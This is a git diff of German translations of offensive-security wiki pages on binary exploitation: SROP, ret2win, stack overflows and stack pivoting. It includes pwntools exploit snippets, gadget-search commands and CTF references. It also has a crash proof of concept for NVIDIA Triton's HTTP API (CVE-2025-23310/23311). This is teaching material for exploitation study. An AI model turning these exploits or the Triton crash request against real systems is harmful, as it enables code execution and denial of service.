0x00000000006b6000 0x00000000006bc000 0x00000000000b6000 rw- /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
0x00000000006bc000 0x00000000006e0000 0x0000000000000000 rw- [heap]
```
### Schreiben Sie eine Zeichenfolge im Speicher
### Schreiben von Zeichenfolgen im Speicher
Dann müssen Sie einen Weg finden, um beliebige Inhalte an dieser Adresse zu schreiben.
```python
@ -98,6 +98,7 @@ rop += writeGadget #Address to: mov qword ptr [rax], rdx
Wenn Ihnen **Gadgets fehlen**, um beispielsweise `/bin/sh` im Speicher zu schreiben, können Sie die **SROP-Technik verwenden, um alle Registerwerte** (einschließlich RIP und Parameterregister) vom Stack zu steuern:
{{#ref}}
../srop-sigreturn-oriented-programming/
{{#endref}}
@ -174,7 +175,7 @@ target.interactive()
- [https://guyinatuxedo.github.io/07-bof_static/dcquals19_speedrun1/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals19_speedrun1/index.html)
- 64 Bit, kein PIE, nx, schreibe in einen Speicher einen ROP, um `execve` aufzurufen und dorthin zu springen.
- [https://guyinatuxedo.github.io/07-bof_static/bkp16_simplecalc/index.html](https://guyinatuxedo.github.io/07-bof_static/bkp16_simplecalc/index.html)
- 64 Bit, nx, kein PIE, schreibe in einen Speicher einen ROP, um `execve` aufzurufen und dorthin zu springen. Um auf den Stack zu schreiben, wird eine Funktion, die mathematische Operationen durchführt, missbraucht.
- 64 Bit, nx, kein PIE, schreibe in einen Speicher einen ROP, um `execve` aufzurufen und dorthin zu springen. Um auf den Stack zu schreiben, wird eine Funktion missbraucht, die mathematische Operationen durchführt.
- [https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html)
- 64 Bit, kein PIE, nx, BF Canary, schreibe in einen Speicher einen ROP, um `execve` aufzurufen und dorthin zu springen.

View File

@ -4,6 +4,7 @@
Finden Sie eine Einführung in arm64 in:
{{#ref}}
../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
{{#endref}}
@ -12,6 +13,7 @@ Finden Sie eine Einführung in arm64 in:
Wir werden das Beispiel von der Seite verwenden:
{{#ref}}
../../stack-overflow/ret2win/ret2win-arm64.md
{{#endref}}

View File

@ -4,16 +4,16 @@
## Grundinformationen
**`Sigreturn`** ist ein spezieller **syscall**, der hauptsächlich verwendet wird, um nach der Ausführung eines Signalhandlers aufzuräumen. Signale sind Unterbrechungen, die vom Betriebssystem an ein Programm gesendet werden, oft um anzuzeigen, dass eine außergewöhnliche Situation aufgetreten ist. Wenn ein Programm ein Signal erhält, pausiert es vorübergehend seine aktuelle Arbeit, um das Signal mit einem **Signalhandler** zu behandeln, einer speziellen Funktion, die dafür ausgelegt ist, mit Signalen umzugehen.
**`Sigreturn`** ist ein spezieller **syscall**, der hauptsächlich verwendet wird, um nach der Ausführung eines Signalhandlers aufzuräumen. Signale sind Unterbrechungen, die vom Betriebssystem an ein Programm gesendet werden, oft um anzuzeigen, dass eine außergewöhnliche Situation aufgetreten ist. Wenn ein Programm ein Signal empfängt, pausiert es vorübergehend seine aktuelle Arbeit, um das Signal mit einem **Signalhandler** zu behandeln, einer speziellen Funktion, die dafür ausgelegt ist, mit Signalen umzugehen.
Nachdem der Signalhandler fertig ist, muss das Programm seinen **vorherigen Zustand wiederherstellen**, als ob nichts passiert wäre. Hier kommt **`sigreturn`** ins Spiel. Es hilft dem Programm, **vom Signalhandler zurückzukehren** und stellt den Zustand des Programms wieder her, indem es den Stackrahmen (den Abschnitt des Speichers, der Funktionsaufrufe und lokale Variablen speichert) aufräumt, der vom Signalhandler verwendet wurde.
Nachdem der Signalhandler fertig ist, muss das Programm seinen **vorherigen Zustand wiederherstellen**, als ob nichts passiert wäre. Hier kommt **`sigreturn`** ins Spiel. Es hilft dem Programm, **vom Signalhandler zurückzukehren** und stellt den Zustand des Programms wieder her, indem es das Stack-Frame (den Abschnitt des Speichers, der Funktionsaufrufe und lokale Variablen speichert) aufräumt, das vom Signalhandler verwendet wurde.
Der interessante Teil ist, wie **`sigreturn`** den Zustand des Programms wiederherstellt: Es geschieht, indem **alle Registerwerte der CPU auf dem Stack gespeichert werden.** Wenn das Signal nicht mehr blockiert ist, **poppt `sigreturn` diese Werte vom Stack**, wodurch die Register der CPU effektiv auf ihren Zustand vor der Signalbehandlung zurückgesetzt werden. Dazu gehört das Stackzeigerregister (RSP), das auf die aktuelle Spitze des Stacks zeigt.
Der interessante Teil ist, wie **`sigreturn`** den Zustand des Programms wiederherstellt: Es geschieht, indem **alle Registerwerte der CPU auf dem Stack gespeichert werden.** Wenn das Signal nicht mehr blockiert ist, **poppt `sigreturn` diese Werte vom Stack**, wodurch die Register der CPU effektiv auf ihren Zustand vor der Signalbehandlung zurückgesetzt werden. Dazu gehört das Stack-Zeiger-Register (RSP), das auf die aktuelle Spitze des Stacks zeigt.
> [!CAUTION]
> Das Aufrufen des syscalls **`sigreturn`** aus einer ROP-Kette und **das Hinzufügen der Registerwerte**, die wir im **Stack** laden möchten, ermöglicht es, **alle Registerwerte zu steuern** und daher beispielsweise den syscall `execve` mit `/bin/sh` aufzurufen.
Beachten Sie, wie dies eine **Art von Ret2syscall** wäre, die es viel einfacher macht, Parameter zu steuern, um andere Ret2syscalls aufzurufen:
Beachten Sie, dass dies eine **Art von Ret2syscall** wäre, die es viel einfacher macht, Parameter zu steuern, um andere Ret2syscalls aufzurufen:
{{#ref}}
../rop-syscall-execv/
@ -128,13 +128,13 @@ target.interactive()
- [https://youtu.be/ADULSwnQs-s?feature=shared](https://youtu.be/ADULSwnQs-s?feature=shared)
- [https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop)
- [https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html](https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html)
- Assembly-Binärdatei, die es ermöglicht, **in den Stack zu schreiben** und dann den **`sigreturn`** Syscall aufzurufen. Es ist möglich, auf den Stack einen [**ret2syscall**](../rop-syscall-execv/index.html) über eine **sigreturn** Struktur zu schreiben und das Flag zu lesen, das sich im Speicher der Binärdatei befindet.
- Assembly-Binärdatei, die es ermöglicht, **in den Stack zu schreiben** und dann den **`sigreturn`** Syscall aufzurufen. Es ist möglich, einen [**ret2syscall**](../rop-syscall-execv/index.html) über eine **sigreturn** Struktur auf den Stack zu schreiben und das Flag zu lesen, das sich im Speicher der Binärdatei befindet.
- [https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html)
- Assembly-Binärdatei, die es ermöglicht, **in den Stack zu schreiben** und dann den **`sigreturn`** Syscall aufzurufen. Es ist möglich, auf den Stack einen [**ret2syscall**](../rop-syscall-execv/index.html) über eine **sigreturn** Struktur zu schreiben (die Binärdatei enthält die Zeichenkette `/bin/sh`).
- Assembly-Binärdatei, die es ermöglicht, **in den Stack zu schreiben** und dann den **`sigreturn`** Syscall aufzurufen. Es ist möglich, einen [**ret2syscall**](../rop-syscall-execv/index.html) über eine **sigreturn** Struktur auf den Stack zu schreiben (die Binärdatei enthält die Zeichenkette `/bin/sh`).
- [https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html](https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html)
- 64 Bit, kein relro, keine Canary, nx, kein pie. Einfacher Buffer Overflow, der die `gets` Funktion ausnutzt, mit einem Mangel an Gadgets, die einen [**ret2syscall**](../rop-syscall-execv/index.html) ausführen. Die ROP-Kette schreibt `/bin/sh` in die `.bss`, indem sie `gets` erneut aufruft, sie missbraucht die **`alarm`** Funktion, um eax auf `0xf` zu setzen, um ein **SROP** aufzurufen und eine Shell auszuführen.
- 64 Bit, kein relro, kein canary, nx, kein pie. Einfacher Buffer Overflow, der die `gets` Funktion ausnutzt, mit einem Mangel an Gadgets, die einen [**ret2syscall**](../rop-syscall-execv/index.html) ausführen. Die ROP-Kette schreibt `/bin/sh` in die `.bss`, indem sie `gets` erneut aufruft, sie missbraucht die **`alarm`** Funktion, um eax auf `0xf` zu setzen, um ein **SROP** aufzurufen und eine Shell auszuführen.
- [https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html](https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html)
- 64-Bit-Assembly-Programm, kein relro, keine Canary, nx, kein pie. Der Fluss ermöglicht es, in den Stack zu schreiben, mehrere Register zu steuern und einen Syscall aufzurufen, und dann wird `exit` aufgerufen. Der ausgewählte Syscall ist ein `sigreturn`, der Register setzen und `eip` verschieben wird, um eine vorherige Syscall-Anweisung aufzurufen und `memprotect` auszuführen, um den Binärspeicher auf `rwx` zu setzen und den ESP im Binärspeicher zu setzen. Folgt man dem Fluss, wird das Programm erneut `read` in den ESP aufrufen, aber in diesem Fall wird der ESP auf die nächste Anweisung zeigen, sodass das Übergeben eines Shellcodes es als die nächste Anweisung schreiben und ausführen wird.
- 64-Bit-Assembly-Programm, kein relro, kein canary, nx, kein pie. Der Fluss ermöglicht es, in den Stack zu schreiben, mehrere Register zu steuern und einen Syscall aufzurufen und dann `exit` aufzurufen. Der ausgewählte Syscall ist ein `sigreturn`, der Register setzen und `eip` verschieben wird, um eine vorherige Syscall-Anweisung aufzurufen und `memprotect` auszuführen, um den Binärspeicher auf `rwx` zu setzen und den ESP im Binärspeicher zu setzen. Folgt man dem Fluss, wird das Programm `read` erneut in den ESP aufrufen, aber in diesem Fall wird der ESP auf die nächste Anweisung zeigen, sodass das Übergeben eines Shellcodes es als die nächste Anweisung schreiben und ausführen wird.
- [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection)
- SROP wird verwendet, um Ausführungsprivilegien (memprotect) an den Ort zu geben, an dem ein Shellcode platziert wurde.

View File

@ -191,7 +191,7 @@ rp++ -f ./binary --unique -r | grep "mov\s\+x8, #0x8b" # 0x8b = __NR_rt_sigret
```
Beide Werkzeuge verstehen **AArch64** Kodierungen und listen Kandidaten `mov x8, 0x8b ; svc #0` Sequenzen auf, die als *SROP Gadget* verwendet werden können.
> Hinweis: Wenn Binärdateien mit **BTI** kompiliert werden, ist die erste Anweisung jedes gültigen indirekten Sprungziels `bti c`. `sigreturn` Trampolines, die vom Linker platziert werden, enthalten bereits das richtige BTI-Landing-Pad, sodass das Gadget aus nicht privilegiertem Code weiterhin verwendbar bleibt.
> Hinweis: Wenn Binärdateien mit **BTI** kompiliert werden, ist die erste Anweisung jedes gültigen indirekten Sprungziels `bti c`. `sigreturn` Trampolines, die vom Linker platziert werden, enthalten bereits das richtige BTI-Landingpad, sodass das Gadget aus nicht privilegiertem Code weiterhin verwendbar bleibt.
## Verknüpfung von SROP mit ROP (Pivot über `mprotect`)
@ -215,11 +215,11 @@ Linux 5.16 führte eine strengere Validierung von Benutzersignal-Frames ein (Com
* Das reservierte Wort in `struct rt_sigframe` muss null sein.
* Jeder Zeiger im *extra_context* Datensatz ist ausgerichtet und zeigt innerhalb des Benutzeradressraums.
`pwntools>=4.10` erstellt konforme Frames automatisch, aber wenn Sie sie manuell erstellen, stellen Sie sicher, dass Sie *reserviert* null-initialisieren und den SVE-Datensatz weglassen, es sei denn, Sie benötigen ihn wirklich andernfalls liefert `rt_sigreturn` `SIGSEGV`, anstatt zurückzukehren.
`pwntools>=4.10` erstellt konforme Frames automatisch, aber wenn Sie sie manuell erstellen, stellen Sie sicher, dass Sie *reserviert* null-initialisieren und den SVE-Datensatz weglassen, es sei denn, Sie benötigen ihn wirklich—ansonsten liefert `rt_sigreturn` `SIGSEGV`, anstatt zurückzukehren.
Beginnend mit dem Mainstream Android 14 und Fedora 38 wird der Userland standardmäßig mit **PAC** (*Pointer Authentication*) und **BTI** aktiviert kompiliert (`-mbranch-protection=standard`). *SROP* selbst ist nicht betroffen, da der Kernel `PC` direkt aus dem erstellten Frame überschreibt und so den authentifizierten LR, der auf dem Stack gespeichert ist, umgeht; jedoch muss jede **nachfolgende ROP-Kette**, die indirekte Sprünge ausführt, zu BTI-aktivierten Anweisungen oder PACed-Adressen springen. Behalten Sie das im Hinterkopf, wenn Sie Gadgets auswählen.
Shadow-Call-Stacks, die in ARMv8.9 eingeführt wurden (und bereits in ChromeOS 1.27+ aktiviert sind), sind eine Compiler-Ebene-Minderung und *beeinträchtigen* SROP nicht, da keine Rückgabebefehle ausgeführt werden der Kontrollfluss wird vom Kernel übertragen.
Shadow-Call-Stacks, die in ARMv8.9 eingeführt wurden (und bereits in ChromeOS 1.27+ aktiviert sind), sind eine Compiler-Ebene-Minderung und *beeinträchtigen* SROP nicht, da keine Rückgabebefehle ausgeführt werdender Kontrollfluss wird vom Kernel übertragen.
## Referenzen

View File

@ -59,6 +59,7 @@ In anderen Szenarien könnte es jedoch ausreichen, einfach **einige Variablenwer
In dieser Art von CTF-Herausforderungen gibt es eine **Funktion**, die **im** Binärprogramm **nie aufgerufen wird** und die **Sie aufrufen müssen, um zu gewinnen**. Für diese Herausforderungen müssen Sie nur den **Offset finden, um die Rücksprungadresse zu überschreiben**, und **die Adresse der Funktion finden**, die aufgerufen werden soll (normalerweise wäre [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) deaktiviert), sodass, wenn die verwundbare Funktion zurückkehrt, die versteckte Funktion aufgerufen wird:
{{#ref}}
ret2win/
{{#endref}}
@ -67,13 +68,15 @@ ret2win/
In diesem Szenario könnte der Angreifer einen Shellcode im Stack platzieren und den kontrollierten EIP/RIP ausnutzen, um zum Shellcode zu springen und beliebigen Code auszuführen:
{{#ref}}
stack-shellcode/
{{#endref}}
### ROP & Ret2... Techniken
Diese Technik ist das grundlegende Framework, um den Hauptschutz der vorherigen Technik zu umgehen: **Kein ausführbarer Stack (NX)**. Und sie ermöglicht die Durchführung mehrerer anderer Techniken (ret2lib, ret2syscall...), die letztendlich beliebige Befehle ausführen, indem sie vorhandene Anweisungen im Binärprogramm ausnutzen:
Diese Technik ist das grundlegende Framework, um den Hauptschutz der vorherigen Technik zu umgehen: **Nicht ausführbarer Stack (NX)**. Und sie ermöglicht die Durchführung mehrerer anderer Techniken (ret2lib, ret2syscall...), die dazu führen, dass beliebige Befehle ausgeführt werden, indem vorhandene Anweisungen im Binärprogramm ausgenutzt werden:
{{#ref}}
../rop-return-oriented-programing/
@ -81,7 +84,8 @@ Diese Technik ist das grundlegende Framework, um den Hauptschutz der vorherigen
## Heap-Überläufe
Ein Überlauf wird nicht immer im Stack auftreten, er könnte auch im **Heap** auftreten, zum Beispiel:
Ein Überlauf muss nicht immer im Stack stattfinden, er könnte auch im **Heap** stattfinden, zum Beispiel:
{{#ref}}
../libc-heap/heap-overflow.md
@ -89,7 +93,8 @@ Ein Überlauf wird nicht immer im Stack auftreten, er könnte auch im **Heap** a
## Arten von Schutzmaßnahmen
Es gibt mehrere Schutzmaßnahmen, die versuchen, die Ausnutzung von Schwachstellen zu verhindern. Überprüfen Sie diese in:
Es gibt mehrere Schutzmaßnahmen, die versuchen, die Ausnutzung von Schwachstellen zu verhindern, überprüfen Sie diese in:
{{#ref}}
../common-binary-protections-and-bypasses/
@ -106,7 +111,7 @@ sscanf(uri, "%*[^/]/%2s/%s", version, endpoint);
```
1. Die erste Umwandlung (`%2s`) speichert sicher **zwei** Bytes in `version` (z.B. `"v1"`).
2. Die zweite Umwandlung (`%s`) **hat keinen Längenbezeichner**, daher wird `sscanf` **bis zum ersten NUL-Byte** weiter kopieren.
3. Da `endpoint` sich im **Stack** befindet und **0x800 Bytes lang** ist, führt das Bereitstellen eines Pfades, der länger als 0x800 Bytes ist, zu einer Beschädigung von allem, was sich nach dem Puffer befindet einschließlich des **Stack Canary** und der **gespeicherten Rücksprungadresse**.
3. Da `endpoint` sich im **Stack** befindet und **0x800 Bytes lang** ist, führt das Bereitstellen eines Pfades, der länger als 0x800 Bytes ist, zu einer Beschädigung von allem, was sich nach dem Puffer befindet einschließlich des **Stack-Canyons** und der **gespeicherten Rücksprungadresse**.
Ein einzeiliger Proof-of-Concept reicht aus, um den Absturz **vor der Authentifizierung** auszulösen:
```python
@ -122,7 +127,7 @@ Auch wenn Stack-Canaries den Prozess abbrechen, erhält ein Angreifer dennoch ei
### Real-World Beispiel: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server)
Der NVIDIA Triton Inference Server (≤ v25.06) wies mehrere **stack-basierte Überläufe** auf, die über seine HTTP-API erreichbar waren.
NVIDIAs Triton Inference Server (≤ v25.06) enthielt mehrere **stack-basierte Überläufe**, die über seine HTTP-API erreichbar waren.
Das anfällige Muster trat wiederholt in `http_server.cc` und `sagemaker_server.cc` auf:
```c
int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0);
@ -161,9 +166,9 @@ s.close()
if __name__ == "__main__":
exploit(*sys.argv[1:])
```
Eine ~3 MB-Anfrage reicht aus, um die gespeicherte Rücksprungadresse zu überschreiben und den Daemon in einer Standardkonfiguration zu **crashen**.
Eine ~3 MB-Anfrage reicht aus, um die gespeicherte Rücksprungadresse zu überschreiben und den Daemon in einer Standardkonfiguration **abzustürzen**.
#### Patch & Mitigation
#### Patch & Minderung
Die Version 25.07 ersetzt die unsichere Stapelzuweisung durch ein **heap-unterstütztes `std::vector`** und behandelt `std::bad_alloc` elegant:
```c++
std::vector<evbuffer_iovec> v_vec;

View File

@ -39,7 +39,7 @@ gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
### Python Exploit mit Pwntools
Für den Exploit verwenden wir **pwntools**, ein leistungsstarkes CTF-Framework zum Schreiben von Exploits. Das Exploit-Skript erstellt eine Payload, um den Puffer zu überlaufen und die Rücksprungadresse mit der Adresse der `win`-Funktion zu überschreiben.
Für den Exploit verwenden wir **pwntools**, ein leistungsstarkes CTF-Framework zum Schreiben von Exploits. Das Exploit-Skript wird eine Payload erstellen, um den Puffer zu überlaufen und die Rücksprungadresse mit der Adresse der `win`-Funktion zu überschreiben.
```python
from pwn import *
@ -69,8 +69,8 @@ Das Python-Skript sendet eine sorgfältig gestaltete Nachricht, die, wenn sie vo
## Schutzmaßnahmen
- [**PIE**](../../common-binary-protections-and-bypasses/pie/index.html) **sollte deaktiviert sein**, damit die Adresse über verschiedene Ausführungen hinweg zuverlässig ist, oder die Adresse, an der die Funktion gespeichert wird, wird nicht immer gleich sein und Sie benötigen einen Leak, um herauszufinden, wo die win-Funktion geladen ist. In einigen Fällen, wenn die Funktion, die den Überlauf verursacht, `read` oder ähnlich ist, können Sie eine **Teilweise Überschreibung** von 1 oder 2 Bytes durchführen, um die Rücksprungadresse auf die win-Funktion zu ändern. Aufgrund der Funktionsweise von ASLR sind die letzten drei hexadezimalen Nibbles nicht randomisiert, sodass es eine **1/16 Chance** (1 Nibble) gibt, die korrekte Rücksprungadresse zu erhalten.
- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) sollten ebenfalls deaktiviert werden, da die kompromittierte EIP-Rücksprungadresse niemals gefolgt wird.
- [**PIE**](../../common-binary-protections-and-bypasses/pie/index.html) **sollte deaktiviert sein**, damit die Adresse über verschiedene Ausführungen hinweg zuverlässig ist, da die Adresse, an der die Funktion gespeichert wird, nicht immer gleich sein wird und Sie einen Leak benötigen würden, um herauszufinden, wo die win-Funktion geladen ist. In einigen Fällen, wenn die Funktion, die den Überlauf verursacht, `read` oder ähnlich ist, können Sie eine **Teilweise Überschreibung** von 1 oder 2 Bytes durchführen, um die Rücksprungadresse auf die win-Funktion zu ändern. Aufgrund der Funktionsweise von ASLR sind die letzten drei hexadezimalen Nibbles nicht randomisiert, sodass es eine **1/16 Chance** (1 Nibble) gibt, die korrekte Rücksprungadresse zu erhalten.
- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) sollten ebenfalls deaktiviert sein, da die kompromittierte EIP-Rücksprungadresse niemals befolgt wird.
## Weitere Beispiele & Referenzen
@ -82,17 +82,17 @@ Das Python-Skript sendet eine sorgfältig gestaltete Nachricht, die, wenn sie vo
- [https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html)
- 64 Bit, kein ASLR
- [https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html)
- 32 Bit, kein ASLR, doppelter kleiner Überlauf, zuerst den Stack überlaufen und die Größe des zweiten Überlaufs vergrößern
- 32 Bit, kein ASLR, doppelter kleiner Überlauf, zuerst um den Stack zu überlaufen und die Größe des zweiten Überlaufs zu vergrößern
- [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html)
- 32 Bit, relro, kein Canary, nx, kein pie, Format-String zur Überschreibung der Adresse `fflush` mit der win-Funktion (ret2win)
- [https://guyinatuxedo.github.io/15-partial_overwrite/tamu19_pwn2/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/tamu19_pwn2/index.html)
- 32 Bit, nx, nichts anderes, partielle Überschreibung von EIP (1 Byte), um die win-Funktion aufzurufen
- 32 Bit, nx, nichts anderes, teilweise Überschreibung von EIP (1 Byte), um die win-Funktion aufzurufen
- [https://guyinatuxedo.github.io/15-partial_overwrite/tuctf17_vulnchat2/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/tuctf17_vulnchat2/index.html)
- 32 Bit, nx, nichts anderes, partielle Überschreibung von EIP (1 Byte), um die win-Funktion aufzurufen
- 32 Bit, nx, nichts anderes, teilweise Überschreibung von EIP (1 Byte), um die win-Funktion aufzurufen
- [https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html)
- Das Programm validiert nur das letzte Byte einer Zahl, um die Größe der Eingabe zu überprüfen, daher ist es möglich, jede Größe hinzuzufügen, solange das letzte Byte im erlaubten Bereich liegt. Dann erzeugt die Eingabe einen Pufferüberlauf, der mit einem ret2win ausgenutzt wird.
- [https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/](https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/)
- 64 Bit, relro, kein Canary, nx, pie. Partielle Überschreibung, um die win-Funktion (ret2win) aufzurufen
- 64 Bit, relro, kein Canary, nx, pie. Teilweise Überschreibung, um die win-Funktion (ret2win) aufzurufen
- [https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/](https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/)
- arm64, PIE, es gibt einen PIE-Leak, die win-Funktion ist tatsächlich 2 Funktionen, also ROP-Gadget, das 2 Funktionen aufruft
- [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/)
@ -100,6 +100,7 @@ Das Python-Skript sendet eine sorgfältig gestaltete Nachricht, die, wenn sie vo
## ARM64 Beispiel
{{#ref}}
ret2win-arm64.md
{{#endref}}

View File

@ -4,6 +4,7 @@
Finden Sie eine Einführung in arm64 in:
{{#ref}}
../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
{{#endref}}
@ -83,7 +84,7 @@ Dann: **`0xfffffffff148 - 0xfffffffff100 = 0x48 = 72`**
### Regulär
Hole die Adresse der **`win`** Funktion:
Hole dir die Adresse der **`win`** Funktion:
```bash
objdump -d ret2win | grep win
ret2win: file format elf64-littleaarch64
@ -135,12 +136,12 @@ p.close()
```
<figure><img src="../../../images/image (1212).png" alt="" width="375"><figcaption></figcaption></figure>
Sie finden ein weiteres Off-by-One-Beispiel in ARM64 in [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/), das ein echtes Off-by-**one** in einer fiktiven Schwachstelle ist.
Ein weiteres Off-by-One-Beispiel in ARM64 finden Sie unter [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/), das ein echtes Off-by-**one** in einer fiktiven Schwachstelle ist.
## Mit PIE
> [!TIP]
> Kompilieren Sie die Binärdatei **ohne das `-no-pie` Argument**
> Kompilieren Sie die Binärdatei **ohne das Argument `-no-pie`**
### Off-by-2

View File

@ -22,15 +22,15 @@ Und da das gespeicherte **EBP/RBP im Stack** vor dem gespeicherten EIP/RIP liegt
Diese Technik ist besonders nützlich, wenn Sie **das gespeicherte EBP/RBP ändern, aber keinen direkten Weg haben, EIP/RIP zu ändern**. Sie nutzt das Verhalten des Funktionsepilogs.
Wenn Sie während der Ausführung von `fvuln` es schaffen, ein **falsches EBP** im Stack zu injizieren, das auf einen Bereich im Speicher zeigt, wo sich die Adresse Ihres Shellcodes/ROP-Ketten befindet (plus 8 Bytes auf amd64 / 4 Bytes auf x86 für das `pop`), können Sie RIP indirekt kontrollieren. Wenn die Funktion zurückkehrt, setzt `leave` RSP auf die gestaltete Adresse und das nachfolgende `pop rbp` verringert RSP, **was effektiv auf eine Adresse zeigt, die dort vom Angreifer gespeichert wurde**. Dann wird `ret` diese Adresse verwenden.
Wenn Sie während der Ausführung von `fvuln` es schaffen, ein **falsches EBP** im Stack zu injizieren, das auf einen Bereich im Speicher zeigt, wo sich die Adresse Ihres Shellcodes/ROP-Ketten befindet (plus 8 Bytes auf amd64 / 4 Bytes auf x86, um das `pop` zu berücksichtigen), können Sie RIP indirekt kontrollieren. Wenn die Funktion zurückkehrt, setzt `leave` RSP auf die gestaltete Adresse und das nachfolgende `pop rbp` verringert RSP, **was effektiv auf eine Adresse zeigt, die dort vom Angreifer gespeichert wurde**. Dann verwendet `ret` diese Adresse.
Beachten Sie, dass Sie **2 Adressen wissen müssen**: die Adresse, zu der ESP/RSP gehen wird, und den Wert, der an dieser Adresse gespeichert ist, den `ret` konsumieren wird.
Beachten Sie, dass Sie **2 Adressen wissen müssen**: die Adresse, zu der ESP/RSP gehen wird, und den Wert, der an dieser Adresse gespeichert ist und von `ret` konsumiert wird.
#### Exploit-Konstruktion
Zuerst müssen Sie eine **Adresse kennen, an die Sie beliebige Daten/Adressen schreiben können**. RSP wird hierhin zeigen und **den ersten `ret` konsumieren**.
Dann müssen Sie die Adresse wählen, die von `ret` verwendet wird, um **die Ausführung zu übertragen**. Sie könnten verwenden:
Dann müssen Sie die Adresse wählen, die von `ret` verwendet wird, um die **Ausführung zu übertragen**. Sie könnten verwenden:
- Eine gültige [**ONE_GADGET**](https://github.com/david942j/one_gadget) Adresse.
- Die Adresse von **`system()`**, gefolgt von der entsprechenden Rückkehr und Argumenten (auf x86: `ret` Ziel = `&system`, dann 4 Junk-Bytes, dann `&"/bin/sh"`).
@ -45,7 +45,7 @@ Es gibt eine Variante, die verwendet wird, wenn Sie **nur das am wenigsten signi
Es ist auch üblich, einen RET-Sled im Stack zu verwenden und die echte ROP-Kette am Ende zu platzieren, um die Wahrscheinlichkeit zu erhöhen, dass das neue RSP innerhalb des Sleds zeigt und die endgültige ROP-Kette ausgeführt wird.
### EBP-Verkettung
### EBP-Chaining
Indem Sie eine kontrollierte Adresse im gespeicherten `EBP`-Slot des Stacks platzieren und ein `leave; ret` Gadget in `EIP/RIP`, ist es möglich, **`ESP/RSP` zu einer vom Angreifer kontrollierten Adresse zu bewegen**.
@ -96,7 +96,7 @@ pause()
p.sendline(payload)
print(p.recvline())
```
> amd64 Alignment-Tipp: System V ABI erfordert eine 16-Byte-Stack-Ausrichtung an Aufrufstellen. Wenn Ihre Kette Funktionen wie `system` aufruft, fügen Sie ein Ausrichtungs-Gadget hinzu (z. B. `ret` oder `sub rsp, 8 ; ret`), bevor Sie den Aufruf tätigen, um die Ausrichtung aufrechtzuerhalten und `movaps`-Abstürze zu vermeiden.
> amd64 Alignment-Tipp: System V ABI erfordert eine 16-Byte-Stack-Ausrichtung an Aufrufstellen. Wenn Ihre Kette Funktionen wie `system` aufruft, fügen Sie ein Ausrichtungs-Gadget hinzu (z. B. `ret` oder `sub rsp, 8 ; ret`) vor dem Aufruf, um die Ausrichtung aufrechtzuerhalten und `movaps`-Abstürze zu vermeiden.
## EBP könnte nicht verwendet werden
@ -124,7 +124,7 @@ add $0x10c,%esp # reduce stack size
pop %ebx # restore
ret # return
```
Auf amd64 sieht man oft `pop rbp ; ret` anstelle von `leave ; ret`, aber wenn der Frame-Zeiger ganz weggelassen wird, gibt es kein `rbp`-basiertes Epilog, durch das man pivotieren kann.
Auf amd64 sieht man oft `pop rbp ; ret` anstelle von `leave ; ret`, aber wenn der Frame-Pointer ganz weggelassen wird, gibt es kein `rbp`-basiertes Epilog, durch das man pivotieren kann.
## Andere Möglichkeiten, RSP zu steuern
@ -184,6 +184,7 @@ xchg <reg>, rsp
Überprüfen Sie die ret2esp-Technik hier:
{{#ref}}
../rop-return-oriented-programing/ret2esp-ret2reg.md
{{#endref}}
@ -216,7 +217,7 @@ Eine robuste Pivot-Strategie, die in vielen CTFs/Exploits verwendet wird:
